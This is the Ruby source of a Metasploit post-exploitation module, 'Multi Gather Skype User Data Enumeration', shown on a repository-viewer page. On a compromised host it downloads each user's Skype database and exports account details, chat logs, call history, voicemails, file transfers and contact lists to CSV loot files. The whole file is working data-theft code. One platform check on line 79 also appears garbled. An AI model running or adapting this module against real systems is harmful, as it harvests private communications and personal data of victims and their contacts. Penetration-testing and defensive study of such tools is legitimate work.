CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/skype_enum.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'csv'
7
8
class MetasploitModule < Msf::Post
9
include Msf::Post::File
10
include Msf::Post::Windows::UserProfiles
11
include Msf::Post::OSX::System
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Multi Gather Skype User Data Enumeration',
18
'Description' => %q{
19
This module will enumerate Skype account settings, contact list, call history, chat logs,
20
file transfer history, and voicemail logs, saving all the data to CSV files for analysis.
21
},
22
'License' => MSF_LICENSE,
23
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
24
'Platform' => %w[osx win],
25
'SessionTypes' => [ 'meterpreter', 'shell' ],
26
'Compat' => {
27
'Meterpreter' => {
28
'Commands' => %w[
29
core_channel_close
30
core_channel_eof
31
core_channel_open
32
core_channel_read
33
stdapi_fs_search
34
stdapi_fs_separator
35
stdapi_fs_stat
36
]
37
}
38
}
39
)
40
)
41
register_advanced_options(
42
[
43
# Set as an advanced option since it can only be useful in shell sessions.
44
OptInt.new('TIMEOUT', [true, 'Timeout in seconds when downloading main.db on a shell session.', 90]),
45
]
46
)
47
end
48
49
# Run Method for when run command is issued
50
def run
51
# syinfo is only on meterpreter sessions
52
print_status("Running Skype enumeration against #{sysinfo['Computer']}") if !sysinfo.nil?
53
54
# Ensure that SQLite3 gem is installed
55
begin
56
require 'sqlite3'
57
rescue LoadError
58
print_error("Failed to load sqlite3, try 'gem install sqlite3'")
59
return
60
end
61
62
if session.platform =~ /java/
63
# Make sure that Java Meterpreter on anything but OSX will exit
64
if session.platform !~ /osx/
65
print_error('This session type and platform are not supported.')
66
return
67
end
68
# Iterate thru each user profile on as OSX System for users not in the default install
69
users = get_users.collect { |p| p['uid'].to_i > 500 ? p : nil }.compact
70
users.each do |p|
71
next unless check_skype("#{p['dir']}/Library/Application Support/", p['name'])
72
73
db_in_loot = download_db(p)
74
# Exit if file was not successfully downloaded
75
return if db_in_loot.nil?
76
77
process_db(db_in_loot, p['name'])
78
end
79
elsif (((session.platform = - 'windows')) && (session.type == 'meterpreter'))
80
# Iterate thru each user profile in a Windows System using Meterpreter Post API
81
grab_user_profiles.each do |p|
82
if check_skype(p['AppData'], p['UserName'])
83
db_in_loot = download_db(p)
84
process_db(db_in_loot, p['UserName'])
85
end
86
end
87
else
88
print_error('This session type and platform are not supported.')
89
end
90
end
91
92
# Check if Skype is installed. Returns true or false.
93
def check_skype(path, user)
94
dirs = []
95
if session.type == 'meterpreter'
96
session.fs.dir.foreach(path) do |d|
97
dirs << d
98
end
99
else
100
dirs = cmd_exec("ls -m \"#{path}\"").split(', ')
101
end
102
dirs.each do |dir|
103
if dir =~ /Skype/
104
print_good("Skype account found for #{user}")
105
return true
106
end
107
end
108
print_error("Skype is not installed for #{user}")
109
return false
110
end
111
112
# Download file using Meterpreter functionality and returns path in loot for the file
113
def download_db(profile)
114
if session.type == 'meterpreter'
115
if session.platform == 'osx'
116
file = session.fs.file.search("#{profile['dir']}/Library/Application Support/Skype/", 'main.db', true)
117
else
118
file = session.fs.file.search("#{profile['AppData']}\\Skype", 'main.db', true)
119
end
120
else
121
file = cmd_exec('mdfind', "-onlyin #{profile['dir']} -name main.db").split("\n").collect { |p| p =~ %r{Skype/\w*/main.db$} ? p : nil }.compact
122
end
123
124
file_loc = store_loot('skype.config',
125
'binary/db',
126
session,
127
'main.db',
128
"Skype Configuration database for #{profile['UserName']}")
129
130
file.each do |db|
131
if session.type == 'meterpreter'
132
maindb = "#{db['path']}#{session.fs.file.separator}#{db['name']}"
133
print_status("Downloading #{maindb}")
134
session.fs.file.download_file(file_loc, maindb)
135
else
136
print_status("Downloading #{db}")
137
# Giving it 1:30 minutes to download since the file could be several MB
138
maindb = cmd_exec('cat', "\"#{db}\"", datastore['TIMEOUT'])
139
if maindb.nil?
140
print_error('Could not download the file. Set the TIMEOUT option to a higher number.')
141
return
142
end
143
# Saving the content as binary so it can be used
144
output = ::File.open(file_loc, 'wb')
145
maindb.each_line do |d|
146
output.puts(d)
147
end
148
output.close
149
end
150
print_good("Configuration database saved to #{file_loc}")
151
end
152
return file_loc
153
end
154
155
# Saves rows returned from a query to a given CSV file
156
def save_csv(data, file)
157
CSV.open(file, 'w') do |csvwriter|
158
data.each do |record|
159
csvwriter << record
160
end
161
end
162
end
163
164
# Extracts the data from the DB in to a CSV file
165
def process_db(db_path, user)
166
db = SQLite3::Database.new(db_path)
167
168
# Extract information for accounts configured in Skype
169
print_status('Enumerating accounts')
170
user_rows = db.execute2('SELECT "skypeout_balance_currency", "skypeout_balance", "skypeout_precision",
171
"skypein_numbers", "subscriptions", "offline_callforward", "service_provider_info",
172
datetime("timestamp","unixepoch")"registration_timestamp",
173
"nr_of_other_instances", "partner_channel_status", "flamingo_xmpp_status",
174
"owner_under_legal_age", "type", "skypename", "pstnnumber", "fullname",
175
"birthday", "gender", "languages", "country", "province", "city", "phone_home",
176
"phone_office", "phone_mobile", "emails", "homepage", "about",
177
datetime("profile_timestamp","unixepoch"), "received_authrequest",
178
"displayname", "refreshing", "given_authlevel", "aliases", "authreq_timestamp",
179
"mood_text", "timezone", "nrof_authed_buddies", "ipcountry",
180
"given_displayname", "availability", datetime("lastonline_timestamp","unixepoch"),
181
"assigned_speeddial", datetime("lastused_timestamp","unixepoch"),
182
"assigned_comment", "alertstring", datetime("avatar_timestamp","unixepoch"),
183
datetime("mood_timestamp","unixepoch"), "rich_mood_text", "synced_email",
184
"verified_email", "verified_company" FROM Accounts;')
185
186
# Check if an account exists and if it does enumerate if not exit.
187
if user_rows.length > 1
188
user_info = store_loot('skype.accounts',
189
'text/plain',
190
session,
191
'',
192
'skype_accounts.csv',
193
"Skype User #{user} Account information from configuration database.")
194
print_good("Saving account information to #{user_info}")
195
save_csv(user_rows, user_info)
196
else
197
print_error("No skype accounts are configured for #{user}")
198
return
199
end
200
201
# Extract chat log from the database
202
print_status('Extracting chat message log')
203
cl_rows = db.execute2('SELECT "chatname", "convo_id", "author", "dialog_partner",
204
datetime("timestamp","unixepoch"), "body_xml",
205
"remote_id" FROM "Messages" WHERE type == 61;')
206
chat_log = store_loot('skype.chat',
207
'text/plain',
208
session,
209
'',
210
'skype_chatlog.csv',
211
"Skype User #{user} chat log from configuration database.")
212
213
if cl_rows.length > 1
214
print_good("Saving chat log to #{chat_log}")
215
save_csv(cl_rows, chat_log)
216
else
217
print_error('No chat logs where found!')
218
end
219
220
# Extract file transfer history
221
print_status('Extracting file transfer history')
222
ft_rows = db.execute2('SELECT "partner_handle", "partner_dispname",
223
datetime("starttime","unixepoch"), datetime("finishtime","unixepoch"),
224
"filepath", "filename", "filesize", "bytestransferred",
225
"convo_id", datetime("accepttime","unixepoch") FROM "Transfers";')
226
227
file_transfer = store_loot('skype.filetransfer',
228
'text/csv',
229
session,
230
'',
231
'skype_filetransfer.csv',
232
"Skype User #{user} file transfer history.")
233
# Check that we have actual file transfers to report
234
if ft_rows.length > 1
235
print_good("Saving file transfer history to #{file_transfer}")
236
save_csv(ft_rows, file_transfer)
237
else
238
print_error('No file transfer history was found!')
239
end
240
241
# Extract voicemail history
242
print_status('Extracting voicemail history')
243
vm_rows = db.execute2('SELECT "type", "partner_handle", "partner_dispname", "status",
244
"subject", datetime("timestamp","unixepoch"), "duration", "allowed_duration",
245
"playback_progress", "convo_id", "chatmsg_guid", "notification_id", "flags",
246
"size", "path", "xmsg" FROM "Voicemails";')
247
248
voicemail = store_loot('skype.voicemail',
249
'text/csv',
250
session,
251
'',
252
'skype_voicemail.csv',
253
"Skype User #{user} voicemail history.")
254
255
if vm_rows.length > 1
256
print_good("Saving voicemail history to #{voicemail}")
257
save_csv(vm_rows, voicemail)
258
else
259
print_error('No voicemail history was found!')
260
end
261
262
# Extracting call log
263
print_status('Extracting call log')
264
call_rows = db.execute2('SELECT datetime("begin_timestamp","unixepoch"),
265
"topic","host_identity", "mike_status", "duration", "soundlevel", "name",
266
"is_incoming", "is_conference", "is_on_hold",
267
datetime("start_timestamp","unixepoch"), "quality_problems", "current_video_audience",
268
"premium_video_sponsor_list", "conv_dbid" FROM "Calls";')
269
270
call_log = store_loot('skype.callhistory',
271
'text/csv',
272
session,
273
'',
274
'skype_callhistory.csv',
275
"Skype User #{user} call history.")
276
if call_rows.length > 1
277
print_good("Saving call log to #{call_log}")
278
save_csv(call_rows, call_log)
279
else
280
print_error('No call log was found!')
281
end
282
283
# Extracting contact list
284
print_status('Extracting contact list')
285
ct_rows = db.execute2('SELECT "skypename", "pstnnumber", "aliases", "fullname",
286
"birthday", "languages", "country", "province", "city", "phone_home",
287
"phone_office", "phone_mobile", "emails", "homepage", "about", "mood_text",
288
"ipcountry", datetime("lastonline_timestamp","unixepoch"), "displayname",
289
"given_displayname", "assigned_speeddial", "assigned_comment","assigned_phone1",
290
"assigned_phone1_label", "assigned_phone2", "assigned_phone2_label",
291
"assigned_phone3", "assigned_phone3_label", "popularity_ord", "isblocked",
292
"main_phone", "phone_home_normalized", "phone_office_normalized",
293
"phone_mobile_normalized", "verified_email", "verified_company"
294
FROM "Contacts";')
295
296
contact_log = store_loot('skype.contactlist',
297
'text/csv',
298
session,
299
'',
300
'skype_contactlist.csv',
301
"Skype User #{user} contact list.")
302
if ct_rows.length > 1
303
print_good("Saving contact list to #{contact_log}")
304
save_csv(ct_rows, contact_log)
305
end
306
end
307
end
308
309